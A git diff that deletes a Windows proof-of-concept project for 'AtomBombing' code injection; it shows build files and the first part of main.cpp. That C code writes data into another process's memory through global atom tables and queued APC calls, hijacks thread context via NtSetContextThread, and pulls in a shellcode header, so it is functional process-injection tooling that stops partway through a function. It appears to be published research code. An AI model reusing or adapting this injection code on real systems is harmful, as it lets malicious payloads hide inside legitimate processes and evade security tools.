diff --git a/Win32/Proof of Concepts/AtomBombingInjection/.gitignore b/Win32/Proof of Concepts/AtomBombingInjection/.gitignore
deleted file mode 100644
index f1e3d20e..00000000
--- a/Win32/Proof of Concepts/AtomBombingInjection/.gitignore
+++ /dev/null
@@ -1,252 +0,0 @@
-## Ignore Visual Studio temporary files, build results, and
-## files generated by popular Visual Studio add-ons.
-
-# User-specific files
-*.suo
-*.user
-*.userosscache
-*.sln.docstates
-
-# User-specific files (MonoDevelop/Xamarin Studio)
-*.userprefs
-
-# Build results
-[Dd]ebug/
-[Dd]ebugPublic/
-[Rr]elease/
-[Rr]eleases/
-x64/
-x86/
-bld/
-[Bb]in/
-[Oo]bj/
-[Ll]og/
-
-# Visual Studio 2015 cache/options directory
-.vs/
-# Uncomment if you have tasks that create the project's static files in wwwroot
-#wwwroot/
-
-# MSTest test Results
-[Tt]est[Rr]esult*/
-[Bb]uild[Ll]og.*
-
-# NUNIT
-*.VisualState.xml
-TestResult.xml
-
-# Build Results of an ATL Project
-[Dd]ebugPS/
-[Rr]eleasePS/
-dlldata.c
-
-# DNX
-project.lock.json
-artifacts/
-
-*_i.c
-*_p.c
-*_i.h
-*.ilk
-*.meta
-*.obj
-*.pch
-*.pdb
-*.pgc
-*.pgd
-*.rsp
-*.sbr
-*.tlb
-*.tli
-*.tlh
-*.tmp
-*.tmp_proj
-*.log
-*.vspscc
-*.vssscc
-.builds
-*.pidb
-*.svclog
-*.scc
-
-# Chutzpah Test files
-_Chutzpah*
-
-# Visual C++ cache files
-ipch/
-*.aps
-*.ncb
-*.opendb
-*.opensdf
-*.sdf
-*.cachefile
-*.VC.db
-*.VC.VC.opendb
-
-# Visual Studio profiler
-*.psess
-*.vsp
-*.vspx
-*.sap
-
-# TFS 2012 Local Workspace
-$tf/
-
-# Guidance Automation Toolkit
-*.gpState
-
-# ReSharper is a .NET coding add-in
-_ReSharper*/
-*.[Rr]e[Ss]harper
-*.DotSettings.user
-
-# JustCode is a .NET coding add-in
-.JustCode
-
-# TeamCity is a build add-in
-_TeamCity*
-
-# DotCover is a Code Coverage Tool
-*.dotCover
-
-# NCrunch
-_NCrunch_*
-.*crunch*.local.xml
-nCrunchTemp_*
-
-# MightyMoose
-*.mm.*
-AutoTest.Net/
-
-# Web workbench (sass)
-.sass-cache/
-
-# Installshield output folder
-[Ee]xpress/
-
-# DocProject is a documentation generator add-in
-DocProject/buildhelp/
-DocProject/Help/*.HxT
-DocProject/Help/*.HxC
-DocProject/Help/*.hhc
-DocProject/Help/*.hhk
-DocProject/Help/*.hhp
-DocProject/Help/Html2
-DocProject/Help/html
-
-# Click-Once directory
-publish/
-
-# Publish Web Output
-*.[Pp]ublish.xml
-*.azurePubxml
-# TODO: Comment the next line if you want to checkin your web deploy settings
-# but database connection strings (with potential passwords) will be unencrypted
-*.pubxml
-*.publishproj
-
-# Microsoft Azure Web App publish settings. Comment the next line if you want to
-# checkin your Azure Web App publish settings, but sensitive information contained
-# in these scripts will be unencrypted
-PublishScripts/
-
-# NuGet Packages
-*.nupkg
-# The packages folder can be ignored because of Package Restore
-**/packages/*
-# except build/, which is used as an MSBuild target.
-!**/packages/build/
-# Uncomment if necessary however generally it will be regenerated when needed
-#!**/packages/repositories.config
-# NuGet v3's project.json files produces more ignoreable files
-*.nuget.props
-*.nuget.targets
-
-# Microsoft Azure Build Output
-csx/
-*.build.csdef
-
-# Microsoft Azure Emulator
-ecf/
-rcf/
-
-# Windows Store app package directories and files
-AppPackages/
-BundleArtifacts/
-Package.StoreAssociation.xml
-_pkginfo.txt
-
-# Visual Studio cache files
-# files ending in .cache can be ignored
-*.[Cc]ache
-# but keep track of directories ending in .cache
-!*.[Cc]ache/
-
-# Others
-ClientBin/
-~$*
-*~
-*.dbmdl
-*.dbproj.schemaview
-*.pfx
-*.publishsettings
-node_modules/
-orleans.codegen.cs
-
-# Since there are multiple workflows, uncomment next line to ignore bower_components
-# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
-#bower_components/
-
-# RIA/Silverlight projects
-Generated_Code/
-
-# Backup & report files from converting an old project file
-# to a newer Visual Studio version. Backup files are not needed,
-# because we have git ;-)
-_UpgradeReport_Files/
-Backup*/
-UpgradeLog*.XML
-UpgradeLog*.htm
-
-# SQL Server files
-*.mdf
-*.ldf
-
-# Business Intelligence projects
-*.rdl.data
-*.bim.layout
-*.bim_*.settings
-
-# Microsoft Fakes
-FakesAssemblies/
-
-# GhostDoc plugin setting file
-*.GhostDoc.xml
-
-# Node.js Tools for Visual Studio
-.ntvs_analysis.dat
-
-# Visual Studio 6 build log
-*.plg
-
-# Visual Studio 6 workspace options file
-*.opt
-
-# Visual Studio LightSwitch build output
-**/*.HTMLClient/GeneratedArtifacts
-**/*.DesktopClient/GeneratedArtifacts
-**/*.DesktopClient/ModelManifest.xml
-**/*.Server/GeneratedArtifacts
-**/*.Server/ModelManifest.xml
-_Pvt_Extensions
-
-# Paket dependency manager
-.paket/paket.exe
-paket-files/
-
-# FAKE - F# Make
-.fake/
-
-# JetBrains Rider
-.idea/
-*.sln.iml
diff --git a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing.sln b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing.sln
deleted file mode 100644
index acda097c..00000000
--- a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing.sln
+++ /dev/null
@@ -1,31 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 12.00
-# Visual Studio 2013
-VisualStudioVersion = 12.0.40629.0
-MinimumVisualStudioVersion = 10.0.40219.1
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "AtomBombing", "AtomBombing\AtomBombing.vcxproj", "{D303FA55-CFF8-4484-888A-F06B21559014}"
- ProjectSection(ProjectDependencies) = postProject
- {DAD3D2B2-372F-4486-91FA-032CC0AA1133} = {DAD3D2B2-372F-4486-91FA-032CC0AA1133}
- EndProjectSection
-EndProject
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "AtomBombingShellcode", "AtomBombingShellcode\AtomBombingShellcode.vcxproj", "{DAD3D2B2-372F-4486-91FA-032CC0AA1133}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Win32 = Debug|Win32
- Release|Win32 = Release|Win32
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {D303FA55-CFF8-4484-888A-F06B21559014}.Debug|Win32.ActiveCfg = Release|Win32
- {D303FA55-CFF8-4484-888A-F06B21559014}.Debug|Win32.Build.0 = Release|Win32
- {D303FA55-CFF8-4484-888A-F06B21559014}.Release|Win32.ActiveCfg = Release|Win32
- {D303FA55-CFF8-4484-888A-F06B21559014}.Release|Win32.Build.0 = Release|Win32
- {DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Debug|Win32.ActiveCfg = Release|Win32
- {DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Debug|Win32.Build.0 = Release|Win32
- {DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Release|Win32.ActiveCfg = Release|Win32
- {DAD3D2B2-372F-4486-91FA-032CC0AA1133}.Release|Win32.Build.0 = Release|Win32
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing/AtomBombing.vcxproj b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing/AtomBombing.vcxproj
deleted file mode 100644
index dfb483a2..00000000
--- a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing/AtomBombing.vcxproj
+++ /dev/null
@@ -1,58 +0,0 @@
-
-
-
-
- Release
- Win32
-
-
-
- {D303FA55-CFF8-4484-888A-F06B21559014}
- Win32Proj
- AtomBombing
-
-
-
- Application
- false
- v120
- true
- Unicode
-
-
-
-
-
-
-
-
-
- false
-
-
-
- Level4
-
-
- Disabled
- true
- true
- WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)
- MultiThreaded
- false
-
-
- Console
- true
- true
- true
- ntdll.lib;%(AdditionalDependencies)
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing/AtomBombing.vcxproj.filters b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing/AtomBombing.vcxproj.filters
deleted file mode 100644
index 0d8d9e45..00000000
--- a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing/AtomBombing.vcxproj.filters
+++ /dev/null
@@ -1,22 +0,0 @@
-
-
-
-
- {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
- cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
-
-
- {93995380-89BD-4b04-88EB-625FBE52EBFB}
- h;hh;hpp;hxx;hm;inl;inc;xsd
-
-
- {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
- rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
-
-
-
-
- Source Files
-
-
-
\ No newline at end of file
diff --git a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing/main.cpp b/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing/main.cpp
deleted file mode 100644
index b7cb7c4c..00000000
--- a/Win32/Proof of Concepts/AtomBombingInjection/AtomBombing/main.cpp
+++ /dev/null
@@ -1,1796 +0,0 @@
-#include
-#include
-#include
-#include
-
-#include "..\Release\AtomBombingShellcode.h"
-
-#define RTL_MAXIMUM_ATOM_LENGTH (255)
-#define SHELLCODE_FUNCTION_POINTERS_OFFSET (25)
-
-#define X86_RET ('\xc3')
-
-#define TEXT_SECTION (".text")
-#define DATA_SECTION (".data")
-
-#define NTDLL ("ntdll.dll")
-#define KERNEL32 ("kernel32.dll")
-#define NTSETCONTEXTTHREAD ("NtSetContextThread")
-#define NTWAITFORSINGLEOBJECT ("NtWaitForSingleObject")
-#define MEMCPY ("memcpy")
-#define GETPROCADDRESS ("GetProcAddress")
-#define LOADLIBRARYA ("LoadLibraryA")
-#define GLOBALGETATOMNAMEW ("GlobalGetAtomNameW")
-#define NTQUEUEAPCTHREAD ("NtQueueApcThread")
-#define WAITFORSINGLEOBJECTEX ("WaitForSingleObjectEx")
-
-
-typedef VOID(*PKNORMAL_ROUTINE)(PVOID NormalContext,
- PVOID SystemArgument1,
- PVOID SystemArgument2
- );
-
-typedef ULONG(WINAPI * _NtQueueApcThread)(HANDLE ThreadHandle,
- PKNORMAL_ROUTINE ApcRoutine,
- PVOID NormalContext,
- PVOID SystemArgument1,
- PVOID SystemArgument2
- );
-
-typedef NTSTATUS(NTAPI *_NtQueryInformationProcess)(
- HANDLE ProcessHandle,
- DWORD ProcessInformationClass,
- PVOID ProcessInformation,
- DWORD ProcessInformationLength,
- PDWORD ReturnLength
- );
-
-#pragma pack(push, 1)
-typedef struct _FUNCTIONPOINTERS
-{
- void *pfnLoadLibraryA;
- void *pfnGetProcAddress;
-} FUNCTIONPOINTERS, *PFUNCTIONPOINTERS;
-#pragma pack(pop)
-
-typedef enum _ESTATUS
-{
- ESTATUS_INVALID = -1,
- ESTATUS_SUCCESS = 0,
-
- ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPER_NTQUEUEAPCTHREAD_FAILED = 0x100,
-
- ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALADDATOMW_FAILED,
-
- ESTATUS_MAIN_DOESSTRINGCONTAINNULLTERMINATORW_WCSCHR_FAILED,
-
- ESTATUS_MAIN_GETTHREADTEBADDRESS_NTQUERYINFORMATIONTHREAD_ERROR,
-
- ESTATUS_MAIN_OPENPROCESSBYNAME_OPENPROCESS_ERROR,
-
- ESTATUS_MAIN_GETPROCESSIDBYNAME_CREATETOOLHELP32SNAPSHOT_ERROR,
- ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS32FIRST_ERROR,
- ESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS_NOT_FOUND,
-
- ESTATUS_MAIN_GETTHREADTEBADDRESS_GETTHREADSELECTORENTRY_FAILED,
-
- ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED,
- ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED,
-
- ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED,
- ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED,
- ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_QUEUEUSERAPC_FAILED,
-
- ESTATUS_MAIN_APCWRITEPROCESSMEMORYNULLTERMINATEDINTERNAL_BUFFER_CONTAINS_NULL,
-
- ESTATUS_MAIN_FINDALERTABLETHREAD_NO_ALERTABLE_THREADS_FOUND,
-
- ESTATUS_MAIN_GETTHREADCONTEXT_SUSPENDTHREAD_FAILED,
- ESTATUS_MAIN_GETTHREADCONTEXT_GETTHREADCONTEXT_FAILED,
- ESTATUS_MAIN_GETTHREADCONTEXT_RESUMETHREAD_FAILED,
-
- ESTATUS_MAIN_GETSECTIONHEADER_SECTION_NOT_FOUND,
-
- ESTATUS_MAIN_GETCODECAVEADDRESS_GETMODULEHANDLEA_FAILED,
-
- ESTATUS_MAIN_FINDRETGADGET_GETMODULEHANDLEA_FAILED,
- ESTATUS_MAIN_FINDRETGADGET_RET_GADGET_NOT_FOUND,
-
- ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETMODULEHANDLEA_FAILED,
- ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETPROCADDRESS_FAILED,
-
- ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_HEAPALLOC_FAILED,
- ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_FAILED,
- ESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_MISMATCH,
-
- ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALDELETEATOM_FAILED,
-
- ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_GLOBALGETATOMNAMEW_FAILED,
- ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_HEAPALLOC_FAILED,
-
- ESTATUS_MAIN_ENUMPROCESSTHREADS_OPENTHREAD_FAILED,
-
- ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC_FAILED,
- ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC2_FAILED,
- ESTATUS_MAIN_FINDALERTABLETHREAD_CREATEEVENT_FAILED,
- ESTATUS_MAIN_FINDALERTABLETHREAD_DUPLICATEHANDLE_FAILED,
- ESTATUS_MAIN_FINDALERTABLETHREAD_WAITFORMULTIPLEOBJECTS_FAILED,
-
-} ESTATUS, *PESTATUS;
-
-#define ESTATUS_FAILED(eStatus) (ESTATUS_SUCCESS != eStatus)
-
-ESTATUS GetFunctionAddressFromDll(
- PSTR pszDllName,
- PSTR pszFunctionName,
- PVOID *ppvFunctionAddress
- )
-{
- HMODULE hModule = NULL;
- PVOID pvFunctionAddress = NULL;
- ESTATUS eReturn = ESTATUS_INVALID;
-
- hModule = GetModuleHandleA(pszDllName);
- if (NULL == hModule)
- {
- eReturn = ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETMODULEHANDLEA_FAILED;
- goto lblCleanup;
- }
-
- pvFunctionAddress = GetProcAddress(hModule, pszFunctionName);
- if (NULL == pvFunctionAddress)
- {
- eReturn = ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETPROCADDRESS_FAILED;
- goto lblCleanup;
- }
-
- *ppvFunctionAddress = pvFunctionAddress;
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
- return eReturn;
-}
-
-ESTATUS main_WasAtomWrittenSuccessfully(
- ATOM tAtom,
- PWSTR pswzExpectedBuffer,
- PBOOL pbWasAtomWrittenSuccessfully
- )
-{
- LPWSTR pswzCheckBuffer = NULL;
- DWORD cbCheckBuffer = 0;
- ESTATUS eReturn = ESTATUS_INVALID;
- UINT uiRet = 0;
- HMODULE hUser32 = NULL;
- BOOL bWasAtomWrittenSuccessfully = FALSE;
-
- // If user32.dll is not loaded, the ATOM functions return access denied.For more details see :
- // http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html
- hUser32 = LoadLibrary(L"user32.dll");
- if (NULL == hUser32)
- {
- goto lblCleanup;
- }
-
- cbCheckBuffer = (wcslen(pswzExpectedBuffer) + 1) * sizeof(WCHAR);
-
- pswzCheckBuffer = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbCheckBuffer);
- if (NULL == pswzCheckBuffer)
- {
- printf("HeapAlloc failed. GLE: 0x%X (%d)\n\n", GetLastError(), GetLastError());
- eReturn = ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_HEAPALLOC_FAILED;
- goto lblCleanup;
- }
-
- uiRet = GlobalGetAtomNameW(tAtom, pswzCheckBuffer, cbCheckBuffer);
- if (0 == uiRet)
- {
- printf("GlobalGetAtomNameA failed. GLE: 0x%X (%d)\n\n", GetLastError(), GetLastError());
- eReturn = ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_GLOBALGETATOMNAMEW_FAILED;
- goto lblCleanup;
- }
-
- bWasAtomWrittenSuccessfully = (0 == memcmp(pswzCheckBuffer, pswzExpectedBuffer, cbCheckBuffer));
-
- eReturn = ESTATUS_SUCCESS;
- *pbWasAtomWrittenSuccessfully = bWasAtomWrittenSuccessfully;
-
-lblCleanup:
- if (NULL != pswzCheckBuffer)
- {
- HeapFree(GetProcessHeap(), 0, pswzCheckBuffer);
- pswzCheckBuffer = NULL;
- }
- return eReturn;
-}
-
-ESTATUS main_AddNullTerminatedAtomAndVerifyW(LPWSTR pswzBuffer, ATOM *ptAtom)
-{
- ATOM tAtom = 0;
- ESTATUS eReturn = ESTATUS_INVALID;
- LPWSTR pswzCheckBuffer = NULL;
- DWORD cbCheckBuffer = 0;
- UINT uiRet = 0;
- HMODULE hUser32 = NULL;
- BOOL bWasAtomWrittenSuccessfully = FALSE;
-
- // If user32.dll is not loaded, the ATOM functions return access denied. For more details see :
- // http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html
- hUser32 = LoadLibrary(L"user32.dll");
-
- do
- {
- tAtom = GlobalAddAtomW(pswzBuffer);
- if (0 == tAtom)
- {
- printf("GlobalAddAtomA failed. GLE: 0x%X (%d)\n\n", GetLastError(), GetLastError());
- eReturn = ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALADDATOMW_FAILED;
- goto lblCleanup;
- }
-
- eReturn = main_WasAtomWrittenSuccessfully(tAtom, pswzBuffer, &bWasAtomWrittenSuccessfully);
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- if (FALSE != bWasAtomWrittenSuccessfully)
- {
- break;
- }
-
- for (int i = 0; i < 0x2; i++)
- {
- SetLastError(ERROR_SUCCESS);
- GlobalDeleteAtom(tAtom);
- if (ERROR_SUCCESS != GetLastError())
- {
- eReturn = ESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALDELETEATOM_FAILED;
- goto lblCleanup;
- }
- }
- } while (FALSE == bWasAtomWrittenSuccessfully);
-
-
- eReturn = ESTATUS_SUCCESS;
- *ptAtom = tAtom;
-
-lblCleanup:
- return eReturn;
-
-}
-
-ESTATUS main_NtQueueApcThreadWrapper(
- HANDLE hThread,
- PKNORMAL_ROUTINE pfnApcRoutine,
- PVOID pvArg1,
- PVOID pvArg2,
- PVOID pvArg3
- )
-{
- HMODULE hNtDll = NULL;
- HMODULE hKernel32 = NULL;
- HMODULE hUser32 = NULL;
- _NtQueueApcThread NtQueueApcThread = NULL;
- NTSTATUS ntStatus = NULL;
- ESTATUS eReturn = ESTATUS_INVALID;
-
- // If user32.dll is not loaded, the ATOM functions return access denied. For more details see:
- // http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html
- hUser32 = LoadLibrary(L"user32.dll");
- hKernel32 = GetModuleHandle(L"kernel32.dll");
- hNtDll = GetModuleHandle(L"ntdll.dll");
-
- eReturn = GetFunctionAddressFromDll(
- NTDLL,
- NTQUEUEAPCTHREAD,
- (PVOID *) &NtQueueApcThread
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- ntStatus = NtQueueApcThread(
- hThread,
- pfnApcRoutine,
- pvArg1,
- pvArg2,
- pvArg3
- );
- if (0 != ntStatus)
- {
- printf("NtQueueApcThread failed. ret: 0x%X (%d)\n\n\n", ntStatus, ntStatus);
- eReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPER_NTQUEUEAPCTHREAD_FAILED;
- goto lblCleanup;
- }
-
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
-
- return eReturn;
-}
-
-ESTATUS main_NtQueueApcThreadWaitForSingleObjectEx(
- HANDLE hRemoteThread,
- HANDLE hWaitHandle,
- DWORD dwWaitMilliseconds,
- BOOL bWaitAlertable
- )
-{
- ESTATUS eReturn = ESTATUS_INVALID;
- PKNORMAL_ROUTINE pfnWaitForSingleObjectEx = NULL;
-
- eReturn = GetFunctionAddressFromDll(
- KERNEL32,
- WAITFORSINGLEOBJECTEX,
- (PVOID *) &pfnWaitForSingleObjectEx
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- eReturn = main_NtQueueApcThreadWrapper(
- hRemoteThread,
- pfnWaitForSingleObjectEx,
- hWaitHandle,
- (PVOID)dwWaitMilliseconds,
- (PVOID)bWaitAlertable
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
-
- return eReturn;
-}
-
-ESTATUS main_QueueUserApcWrapperAndKeepAlertable(
- HANDLE hThread,
- PAPCFUNC pfnAPC,
- ULONG_PTR dwData
- )
-{
- ESTATUS eReturn = ESTATUS_INVALID;
- DWORD dwErr = FALSE;
-
- dwErr = SuspendThread(hThread);
- if (((DWORD)-1) == dwErr)
- {
- eReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED;
- printf("SuspendThread failed. GLE: %d.", GetLastError());
- goto lblCleanup;
- }
-
- dwErr = QueueUserAPC(pfnAPC, hThread, dwData);
- if (0 == dwErr)
- {
- eReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_QUEUEUSERAPC_FAILED;
- printf("SuspendThread failed. GLE: %d.", GetLastError());
- goto lblCleanup;
- }
-
- eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(
- hThread,
- GetCurrentThread(),
- 5000,
- TRUE
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- dwErr = ResumeThread(hThread);
- if (((DWORD)-1) == dwErr)
- {
- printf("ResumeThread failed. GLE: %d.", GetLastError());
- eReturn = ESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED;
- goto lblCleanup;
- }
-
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
- return eReturn;
-}
-
-ESTATUS main_NtQueueApcThreadWrapperAndKeepAlertable(
- HANDLE hThread,
- PKNORMAL_ROUTINE pfnApcRoutine,
- PVOID pvArg1,
- PVOID pvArg2,
- PVOID pvArg3
- )
-{
- ESTATUS eReturn = ESTATUS_INVALID;
- DWORD dwErr = FALSE;
-
- dwErr = SuspendThread(hThread);
- if (((DWORD)-1) == dwErr)
- {
- eReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED;
- printf("SuspendThread failed. GLE: %d.", GetLastError());
- goto lblCleanup;
- }
-
- eReturn = main_NtQueueApcThreadWrapper(
- hThread,
- pfnApcRoutine,
- pvArg1,
- pvArg2,
- pvArg3
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(
- hThread,
- GetCurrentThread(),
- 5000,
- TRUE
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- dwErr = ResumeThread(hThread);
- if (((DWORD)-1) == dwErr)
- {
- printf("ResumeThread failed. GLE: %d.", GetLastError());
- eReturn = ESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED;
- goto lblCleanup;
- }
-
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
- return eReturn;
-}
-
-ESTATUS main_ApcSetEventAndKeepAlertable(HANDLE hThread, HANDLE hRemoteHandle)
-{
- ESTATUS eReturn = ESTATUS_INVALID;
-
- eReturn = main_QueueUserApcWrapperAndKeepAlertable(
- hThread,
- (PAPCFUNC)SetEvent,
- (ULONG_PTR)hRemoteHandle
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
- return eReturn;
-}
-
-ESTATUS main_ApcSetThreadContextInternal(HANDLE hThread, PCONTEXT ptContext)
-{
- PKNORMAL_ROUTINE pfnSetThreadContext = NULL;
- ESTATUS eReturn = ESTATUS_INVALID;
-
- eReturn = GetFunctionAddressFromDll(
- NTDLL,
- NTSETCONTEXTTHREAD,
- (PVOID *) &pfnSetThreadContext
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
-
- eReturn = main_NtQueueApcThreadWrapper(
- hThread,
- pfnSetThreadContext,
- GetCurrentThread(),
- (PVOID)ptContext,
- (PVOID)NULL
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
-
- return eReturn;
-}
-
-ESTATUS main_DoesStringContainNullTerminatorW(
- PVOID pvBuffer,
- DWORD dwBufferSize,
- PBOOL pbDoesStringContainUnicodeNullTerminator
- )
-{
- PWCHAR pwcPos = NULL;
- ESTATUS eReturn = ESTATUS_INVALID;
-
- pwcPos = wcschr((LPWSTR)pvBuffer, UNICODE_NULL);
- if (0 == pwcPos)
- {
- eReturn = ESTATUS_MAIN_DOESSTRINGCONTAINNULLTERMINATORW_WCSCHR_FAILED;
- goto lblCleanup;
- }
-
- if ((DWORD)(pwcPos - (PWCHAR)pvBuffer) == (dwBufferSize / sizeof(WCHAR)-1))
- {
- *pbDoesStringContainUnicodeNullTerminator = FALSE;
- }
- else
- {
- *pbDoesStringContainUnicodeNullTerminator = TRUE;
- }
-
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
- return eReturn;
-}
-
-ESTATUS main_ApcWriteProcessMemoryNullTerminatedInternal(
- HANDLE hThread,
- PVOID pvBaseAddress,
- PVOID pvBuffer,
- DWORD dwBufferSize
- )
-{
- ESTATUS eReturn = ESTATUS_INVALID;
- DWORD dwIndex = 0;
- HMODULE hKernel32 = NULL;
- PKNORMAL_ROUTINE pfnGlobalGetAtomNameW = NULL;
- BOOL bDoesStringContainUnicodeNullTerminator = FALSE;
-
-
- hKernel32 = GetModuleHandle(L"kernel32.dll");
- eReturn = GetFunctionAddressFromDll(
- KERNEL32,
- GLOBALGETATOMNAMEW,
- (PVOID *) &pfnGlobalGetAtomNameW
- );
-
- eReturn = main_DoesStringContainNullTerminatorW(
- pvBuffer,
- dwBufferSize,
- &bDoesStringContainUnicodeNullTerminator
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
- if (FALSE != bDoesStringContainUnicodeNullTerminator)
- {
- eReturn = ESTATUS_MAIN_APCWRITEPROCESSMEMORYNULLTERMINATEDINTERNAL_BUFFER_CONTAINS_NULL;
- goto lblCleanup;
- }
-
- for (dwIndex = 0; dwIndex < dwBufferSize; dwIndex += (RTL_MAXIMUM_ATOM_LENGTH)* sizeof(WCHAR))
- {
- ATOM tAtom = 0;
- CHAR acBuffer[(RTL_MAXIMUM_ATOM_LENGTH + 1) * sizeof(WCHAR)] = { 0 };
- DWORD cbBlockSize = 0;
-
- if ((dwBufferSize - sizeof(WCHAR)) - dwIndex < (sizeof(acBuffer) - sizeof(WCHAR)))
- {
- cbBlockSize = ((dwBufferSize - sizeof(WCHAR)) - dwIndex);
- }
- else
- {
- cbBlockSize = sizeof(acBuffer) - sizeof(WCHAR);
- }
-
- (VOID)memcpy(acBuffer, (PVOID)((DWORD)pvBuffer + dwIndex), cbBlockSize);
-
- eReturn = main_AddNullTerminatedAtomAndVerifyW((LPWSTR)acBuffer, &tAtom);
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
-
- eReturn = main_NtQueueApcThreadWrapperAndKeepAlertable(
- hThread,
- pfnGlobalGetAtomNameW,
- (PVOID)tAtom,
- ((PUCHAR)pvBaseAddress) + dwIndex,
- (PVOID)(cbBlockSize + sizeof(WCHAR))
- );
- if (ESTATUS_FAILED(eReturn))
- {
- goto lblCleanup;
- }
- }
-
- eReturn = ESTATUS_SUCCESS;
-
-lblCleanup:
-
- return eReturn;
-}
-
-ESTATUS main_IsProcessMemoryEqual(
- HANDLE hProcess,
- PVOID pvRemoteAddress,
- PVOID pvExpectedBuffer,
- DWORD cbExpectedBufferSize,
- PBOOL pbIsMemoryEqual
- )
-{
